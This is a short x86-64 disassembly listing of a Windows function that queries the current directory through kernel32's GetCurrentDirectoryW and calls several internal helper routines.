cmp byte [0x100055570], 0
jne 0x100012ee0
mov rdx, qword [rdi]
lea rcx, [rbp - 0x28]
call fcn.10000ae50
mov rdx, qword [rbp - 0x28]
mov rcx, rdi
call fcn.10000a260
nop dword [rax]
jmp 0x100012ee0
xor edx, edx
xor ecx, ecx
call sub.kernel32.dll_GetCurrentDirectoryW
mov ebx, eax
mov edx, ebx
sub rdx, 1
mov rcx, rdi
call fcn.10000a860
mov rdx, qword [rdi]
test rdx, rdx
jne 0x100012eb6
lea rdx, [0x100085490]
mov ecx, ebx
call sub.kernel32.dll_GetCurrentDirectoryW
cmp byte [0x100055570], 0
jne 0x100012ee0
mov rdx, qword [rdi]
lea rcx, [rbp - 0x28]
call fcn.10000ae50
mov rdx, qword [rbp - 0x28]
mov rcx, rdi
call fcn.10000a260
nop
nop
mov rcx, rbp
call fcn.100012d20
mov rbx, qword [rbp - 0x48]
mov rdi, qword [rbp - 0x40]
mov rsi, qword [rbp - 0x38]
mov r12, qword [rbp - 0x30]
lea rsp, [rbp]
pop rbp
ret